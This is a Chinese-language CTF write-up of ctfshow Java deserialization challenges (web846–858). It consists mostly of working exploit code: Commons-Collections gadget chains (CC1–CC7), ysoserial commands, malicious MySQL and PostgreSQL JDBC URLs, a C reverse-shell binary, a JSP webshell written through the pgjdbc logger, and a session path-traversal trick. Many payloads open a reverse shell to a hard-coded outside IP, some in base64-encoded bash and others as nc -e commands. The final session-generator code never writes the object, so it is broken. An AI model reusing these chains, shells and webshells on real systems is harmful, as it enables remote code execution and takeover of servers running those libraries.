web846
打开题目提示:
URLDNS链没跑了
poc:
package org.example.ctfshow_demo; import java.io.*; import java.lang.reflect.Field;0 import java.net.URL; import java.text.SimpleDateFormat; import java.util.Base64; import java.util.Date; import java.util.HashMap; public class URLDNS { public static void main(String[] args) throws Exception { Date nowTime = new Date(); HashMap hashmap = new HashMap(); URL url = new URL("http://c9f1da67-26e8-401e-8410-4059b2e5b682.challenge.ctf.show/"); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode"); filed.setAccessible(true); // 绕过Java语言权限控制检查的权限 filed.set(url, 209); hashmap.put(url, 209); System.out.println("当前时间为: " + simpleDateFormat.format(nowTime)); filed.set(url, -1); try { ByteArrayOutputStream data =new ByteArrayOutputStream(); ObjectOutput oos =new ObjectOutputStream(data); oos.writeObject(hashmap); oos.flush(); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } catch (Exception e) { e.printStackTrace(); } } }
生成的payload进行url编码之后post传进去就ok啦
web847
- 提示
感觉随便一条cc链应该就可以,本来担心真的会有环境限制,但是发现直接用Java跑cc1的payload就可以
以为是get传参,传了半年也没反应,差点回炉研究cc1去了,我真服了
exp:
package org.example.ctfshow_demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class CC1_web847 { public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException { //1.客户端构建攻击代码 //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQzLjE0My4xNzUuMTU4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina Map innerMap = new HashMap(); innerMap.put("value", "value"); //给予map数据转化链 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //反射机制调用AnnotationInvocationHandler类的构造函数 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); //取消构造函数修饰符限制 ctor.setAccessible(true); //获取AnnotationInvocationHandler类实例 Object instance = ctor.newInstance(Target.class, outerMap); ByteArrayOutputStream data =new ByteArrayOutputStream(); ObjectOutput oos =new ObjectOutputStream(data); oos.writeObject(instance); oos.flush(); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } }
ysoserial命令:
java -jar ysoserial-all.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQzLjE0My4xNzUuMTU4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"|base64
不知道为什么会500,但是还是能成功反弹shell
web848
提示
不能用
TransformedMap
,可以想到cc6exp:
package org.example.ctfshow_demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class CC6_web848 { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQzLjE0My4xNzUuMTU4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" }), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove("keykey"); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); // 生成序列化字符串 ByteArrayOutputStream data =new ByteArrayOutputStream(); ObjectOutput oos =new ObjectOutputStream(data); oos.writeObject(expMap); oos.flush(); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } }
ysoserial:
java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQzLjE0My4xNzUuMTU4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"|base64
web849
提示:
这个版本可以想到cc2或cc4,但是题目入口的提示写可以nc反弹,不知道怎么个事
然鹅就是要nc反弹,bash反弹会500抛出Runtime的异常
不过用nc反弹也会500,但是可以成功,exp:
package org.example.ctfshow_demo; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.comparators.TransformingComparator; public class CC2_web849 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{ Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "nc [IP] 6666 -e /bin/sh" }), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Comparator comparator = new TransformingComparator(transformerChain); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(1); queue.add(2); setFieldValue(transformerChain, "iTransformers", transformers); ByteArrayOutputStream data =new ByteArrayOutputStream(); ObjectOutput oos =new ObjectOutputStream(data); oos.writeObject(queue); oos.flush(); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } }
ysoserial:
java -jar ysoserial.jar CommonsCollections4 "nc [IP] 6666 -e /bin/sh"|base64
web850
ysoserial:
java -jar ysoserial-all.jar CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQzLjE0My4xNzUuMTU4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"|base64
- 自己的exp不知道为什么用不了,看了几遍感觉还是没啥毛病,真可恶啊
web851
提示
cc2和cc4都用不了了,而且还是可以nc,可以用改装版cc6:
package org.example.ctfshow_demo; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import org.apache.commons.collections4.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class CC6_4_web851 { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "nc [IP] 6666 -e /bin/sh" }), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap Map innerMap = new HashMap(); Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove("keykey"); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); // 生成序列化字符串 ByteArrayOutputStream data =new ByteArrayOutputStream(); ObjectOutput oos =new ObjectOutputStream(data); oos.writeObject(expMap); oos.flush(); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } }
在3.2.1版本的cc链转化为4.0版本时,主要修改的部分有:
import org.apache.commons.collections.*
改成import org.apache.commons.collections4.*
LazyMap.decorate
换成LazyMap.lazyMap
就好了(具体看cc2链的笔记)
web852
同上
web853
要用到cc7了,p牛没讲我还没学,先学了再来(叹气)
一开始忘记把cc7改成适用4.0版本的了,exp:
package org.example.ctfshow_demo; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.*; public class CC7_web853 { public static void main(String[] args) throws Exception{ final Transformer transformerChain = new ChainedTransformer(new Transformer[0]); final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"nc [IP] 6666 -e /bin/sh"}), new ConstantTransformer(1)}; //使用Hashtable来构造利用链调用LazyMap Map hashMap1 = new HashMap(); Map hashMap2 = new HashMap(); Map lazyMap1 = LazyMap.lazyMap(hashMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.lazyMap(hashMap2, transformerChain); lazyMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 1); lazyMap2.remove("yy"); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain, transformers); ByteArrayOutputStream data =new ByteArrayOutputStream(); ObjectOutput oos =new ObjectOutputStream(data); oos.writeObject(hashtable); oos.flush(); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } }
web854
ban了很多类
说是cc6+cc4,但是我拼了半天也没拼出来,要想办法绕过这些被过滤的类,wp就找到一篇,只能分析分析wp了
exp:
package org.example.ctfshow_demo; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections4.map.DefaultedMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.*; public class CC6_CC4_web854 { public static void main(String[] args) throws Exception { // Reusing transformer chain and LazyMap gadgets from previous payloads Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"nc [IP] 6666 -e /bin/sh"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map innerMap1 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject HashMap map=new HashMap(); Class<DefaultedMap> d = DefaultedMap.class; Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class); declaredConstructor.setAccessible(true); DefaultedMap defaultedMap = declaredConstructor.newInstance(innerMap1, transformerChain); TiedMapEntry tiedMapEntry=new TiedMapEntry(defaultedMap, "aaa"); HashMap<Object, Object> hashMap=new HashMap<>(); hashMap.put(tiedMapEntry,"bbb"); map.remove("aaa"); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain,transformers); ByteArrayOutputStream data =new ByteArrayOutputStream(); ObjectOutput oos =new ObjectOutputStream(data); oos.writeObject(hashMap); oos.flush(); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } }
感觉也不是cc4+cc6,是cc???好像懂了,意思是4.0版本的cc6,但是把lazymap那处换掉了
原CC6:
Map innerMap = new HashMap(); Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove("keykey"); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers);
换掉LazyMap的CC6:
Map innerMap1 = new HashMap(); HashMap map=new HashMap(); Class<DefaultedMap> d = DefaultedMap.class; Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class); declaredConstructor.setAccessible(true); DefaultedMap defaultedMap = declaredConstructor.newInstance(innerMap1, transformerChain); TiedMapEntry tiedMapEntry=new TiedMapEntry(defaultedMap, "aaa"); HashMap<Object, Object> hashMap=new HashMap<>(); hashMap.put(tiedMapEntry,"bbb"); map.remove("aaa"); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain,transformers);
一切突然变得那么合理
web855
给了源码:
package com.ctfshow.entity; import java.io.*; public class User implements Serializable { private static final long serialVersionUID = 0x36d; private String username; private String password; public User(String username, String password) { this.username = username; this.password = password; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } private static final String OBJECTNAME="ctfshow"; private static final String SECRET="123456"; private static String shellCode="chmod +x ./"+OBJECTNAME+" && ./"+OBJECTNAME; private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { int magic = in.readInt(); if(magic==2135247942){ byte var1 = in.readByte(); switch (var1){ case 1:{ int var2 = in.readInt(); if(var2==0x36d){ FileOutputStream fileOutputStream = new FileOutputStream(OBJECTNAME); fileOutputStream.write(new byte[]{0x7f,0x45,0x4c,0x46}); byte[] temp = new byte[1]; while((in.read(temp))!=-1){ fileOutputStream.write(temp); } fileOutputStream.close(); in.close(); } break; } case 2:{ ObjectInputStream.GetField gf = in.readFields(); String username = (String) gf.get("username", null); String password = (String) gf.get("password",null); username = username.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "") .replaceAll(" {2,}", " "); password = password.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "") .replaceAll(" {2,}", " "); User var3 = new User(username,password); User admin = new User(OBJECTNAME,SECRET); if(var3 instanceof User){ if(OBJECTNAME.equals(var3.getUsername())){ throw new RuntimeException("object unserialize error"); } if(SECRET.equals(var3.getPassword())){ throw new RuntimeException("object unserialize error"); } if(var3.equals(admin)){ Runtime.getRuntime().exec(shellCode); } }else{ throw new RuntimeException("object unserialize error"); } break; } default:{ throw new RuntimeException("object unserialize error"); } } } } @Override public boolean equals(Object o) { if (this == o) return true; if (!(o instanceof User)) return false; User user = (User) o; return this.hashCode() == user.hashCode(); } @Override public int hashCode() { return username.hashCode()+password.hashCode(); } }
得到源码后先看一下
readObject
方法这里是可以写文件,文件名和文件开头固定,后面的内容可以通过
write
写入这里可以执行命令,但是
shellcode
不可控可以看到它给的文件固定开头其实是一个
elf
可执行文件的文件头,接着如果执行shellcode命令则会给该文件一个权限并且执行先生成一个可执行文件
#include<stdlib.h> int main() { system("nc [IP] 6666 -e /bin/sh"); return 0; }
编译
gcc 1.c -o payload
删除前四字节
接着利用反序列化写入,前面有几个if,重写
writeObject
:private void writeObject(ObjectOutputStream out) throws Exception { //将名字反转写入二进制流 out.writeInt(2135247942); out.writeByte(1); out.writeInt(0x36d); File filename = new File("D:\\IdeaProjects\\cc\\src\\main\\java\\com\\ctfshow\\entity\\payload"); //gcc生成的文件位置 BufferedInputStream in = new BufferedInputStream(new FileInputStream(filename)); ByteArrayOutputStream out2 = new ByteArrayOutputStream(1024); byte[] temp = new byte[1024]; int size = 0; while((size = in.read(temp)) != -1){ out2.write(temp, 0, size); } in.close(); byte[] content = out2.toByteArray(); out.write(content); out.defaultWriteObject(); }
生成序列化字符串:
package com.ctfshow.entity; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.Base64; public class web855 { public static void main(String[] args)throws Exception { User user = new User("dUfshow", "0Q3456"); ByteArrayOutputStream brr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(brr); oos.writeObject(user); String payload = new String(Base64.getEncoder().encode(brr.toByteArray())); System.out.println(payload); } }
此时已经成功写入恶意文件,接下来就要想办法执行shellcode
这里的意思是用户名和密码不能为
ctfshow/123456
,但是又必须是admin身份可以看到
equals
这里的逻辑是通过比较hashcode
来判断是否相等hash碰撞脚本:
def hashcode(val): h = 0 for i in range(len(val)): h = 31 * h + ord(val[i]) return h t = "ct" # t="12" for k in range(1, 128): for l in range(1, 128): if t != (chr(k) + chr(l)): if hashcode(t) == hashcode(chr(k) + chr(l)): print(t, chr(k) + chr(l))
可以用
dU
代替ct
,0Q
代替12
修改
readobject
方法:private void writeObject(ObjectOutputStream out) throws Exception { out.writeInt(2135247942); out.writeByte(2); out.defaultWriteObject(); }
重新生成序列化字符串,传入后触发
Runtime.getRuntime().exec(shellCode);
,成功执行命令
web856
jdbc反序列化
提示了所需环境的版本
有一个User类
package com.ctfshow.entity; import java.io.*; public class User implements Serializable { private static final long serialVersionUID = -7205095498817563965L; private String username; private String password; public User(String username, String password) { this.username = username; this.password = password; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } @Override public boolean equals(Object o) { if (this == o) return true; if (!(o instanceof User)) return false; User user = (User) o; return this.hashCode() == user.hashCode(); } @Override public int hashCode() { return username.hashCode()+password.hashCode(); } }
还有一个Connection类:
package com.ctfshow.entity; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; import java.sql.DriverManager; import java.sql.SQLException; import java.util.Objects; public class Connection implements Serializable { private static final long serialVersionUID = 2807147458202078901L; private String driver; private String schema; private String host; private int port; private User user; private String database; public String getDriver() { return driver; } public void setDriver(String driver) { this.driver = driver; } public String getSchema() { return schema; } public void setSchema(String schema) { this.schema = schema; } public void setPort(int port) { this.port = port; } public String getHost() { return host; } public void setHost(String host) { this.host = host; } public User getUser() { return user; } public void setUser(User user) { this.user = user; } public String getDatabase() { return database; } public void setDatabase(String database) { this.database = database; } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, SQLException { Class.forName("com.mysql.jdbc.Driver"); ObjectInputStream.GetField gf = in.readFields(); String host = (String) gf.get("host", "127.0.0.1"); int port = (int) gf.get("port",3306); User user = (User) gf.get("user",new User("root","root")); String database = (String) gf.get("database", "ctfshow"); String schema = (String) gf.get("schema", "jdbc:mysql"); DriverManager.getConnection( schema+"://"+host+":"+port+"/?"+database+"&user="+user.getUsername()); } @Override public boolean equals(Object o) { if (this == o) return true; if (!(o instanceof Connection)) return false; Connection that = (Connection) o; return Objects.equals(host, that.host) && Objects.equals(port, that.port) && Objects.equals(user, that.user) && Objects.equals(database, that.database); } @Override public int hashCode() { return Objects.hash(host, port, user, database); } }
根据对所用库的提示,需要构造的payload应该是:
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
然后需要注意的是payload限制在commons-collections 4.0可用的链子
exp:
package com.ctfshow.entity; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class Payload { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{ Connection connection = new Connection(); Class<? extends Connection> aClass = connection.getClass(); setFieldValue(connection,"host","[IP]"); setFieldValue(connection,"port",3307); setFieldValue(connection,"schema","jdbc:mysql"); setFieldValue(connection,"database","autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"); setFieldValue(connection,"user",new User("root","root")); ByteArrayOutputStream data =new ByteArrayOutputStream(); ObjectOutput oos =new ObjectOutputStream(data); oos.writeObject(connection); oos.flush(); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } }
生成payload:
java -jar ysoserial.jar CommonsCollections4 "nc [IP] 6666 -e /bin/sh" > payload
在vps上运行fakemysql服务,监听端口
web857
pgjdbc写马,有一个user类:
package com.ctfshow.entity; import java.io.*; public class User implements Serializable { private static final long serialVersionUID = -7205095498817563965L; private String username; private String password; public User(String username, String password) { this.username = username; this.password = password; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } @Override public boolean equals(Object o) { if (this == o) return true; if (!(o instanceof User)) return false; User user = (User) o; return this.hashCode() == user.hashCode(); } @Override public int hashCode() { return username.hashCode()+password.hashCode(); } }
一个Connection类:
package com.ctfshow.entity; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; import java.sql.DriverManager; import java.sql.SQLException; import java.util.Objects; public class Connection implements Serializable { private static final long serialVersionUID = 2807147458202078901L; private String driver; private String schema; private String host; private int port; private User user; private String database; public String getDriver() { return driver; } public void setDriver(String driver) { this.driver = driver; } public String getSchema() { return schema; } public void setSchema(String schema) { this.schema = schema; } public void setPort(int port) { this.port = port; } public String getHost() { return host; } public void setHost(String host) { this.host = host; } public User getUser() { return user; } public void setUser(User user) { this.user = user; } public String getDatabase() { return database; } public void setDatabase(String database) { this.database = database; } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, SQLException { ObjectInputStream.GetField gf = in.readFields(); String host = (String) gf.get("host", "127.0.0.1"); String driver = (String) gf.get("driver","com.mysql.jdbc.Driver"); int port = (int) gf.get("port",3306); User user = (User) gf.get("user",new User("root","root")); String database = (String) gf.get("database", "ctfshow"); String schema = (String) gf.get("schema", "jdbc:mysql"); Class.forName(driver); DriverManager.getConnection( schema+"://"+host+":"+port+"/?"+database+"&user="+user.getUsername()); } @Override public boolean equals(Object o) { if (this == o) return true; if (!(o instanceof Connection)) return false; Connection that = (Connection) o; return Objects.equals(host, that.host) && Objects.equals(port, that.port) && Objects.equals(user, that.user) && Objects.equals(database, that.database); } @Override public int hashCode() { return Objects.hash(host, port, user, database); } }
Connection类的
readObject
方法执行了DriverManager.getConnection
操作,如果把它的参数恶意构造为pdjdbc反序列化的url,就可以利用了构造成这个样子就可以了
jdbc:postgresql://127.0.0.1:5432/test/?loggerLevel=DEBUG&loggerFile=./hack.jsp&<%25[恶意代码];%25>
由于Connection类里的成员变量都是私有的,需要反射获取类,然后使用
setAccessible
方法修改属性payload:
package com.ctfshow.entity; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class Payload { public static void main(String[] args) throws Exception{ Connection connection = new Connection(); Class<? extends Connection> aClass = connection.getClass(); Field driver = aClass.getDeclaredField("driver"); driver.setAccessible(true); driver.set(connection,"org.postgresql.Driver"); Field host = aClass.getDeclaredField("host"); host.setAccessible(true); host.set(connection,"127.0.0.1"); Field port = aClass.getDeclaredField("port"); port.setAccessible(true); port.set(connection,5432); Field user = aClass.getDeclaredField("user"); user.setAccessible(true); user.set(connection,new User("hoylindo","123456")); Field schema = aClass.getDeclaredField("schema"); schema.setAccessible(true); schema.set(connection,"jdbc:postgresql"); Field database = aClass.getDeclaredField("database"); database.setAccessible(true); database.set(connection,"password=123456&loggerLevel=debug&loggerFile=../webapps/ROOT/hack.jsp&<%Runtime.getRuntime().exec(request.getParameter(\"i\"));%>"); ByteArrayOutputStream data =new ByteArrayOutputStream(); ObjectOutput oos =new ObjectOutputStream(data); oos.writeObject(connection); oos.flush(); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } }
访问hack.jsp传入
i=nc%20[IP]%206666%20-e%20sh
web858
题目直接告诉了是tomcat的session反序列化,页面可以查看
context.xml
:这里有一个user类的
readObject
方法可以命令执行package com.ctfshow.entity; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class User implements Serializable { private static final long serialVersionUID = -3254536114659397781L; private String username; private String password; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(this.username); } }
可以上传文件,上传后会返回文件路径
因此如果上传1.session,那么当
JSESSIONID
为1.session
上传路径时,会触发反序列化生成session文件:
package com.ctfshow.entity; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class Payload { public static void main(String[] args) throws Exception{ User user = new User(); Class<? extends User> aClass = user.getClass(); Field username = aClass.getDeclaredField("username"); username.setAccessible(true); username.set(user,"cp /flag /usr/local/tomcat/webapps/ROOT/1.jsp"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.session")); objectOutputStream.close(); } }
文件路径为:
/usr/local/tomcat/webapps/ROOT/WEB-INF/upload/aaa.session
抓包修改:
JSESSIONID=../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/upload/aaa
访问
1.jsp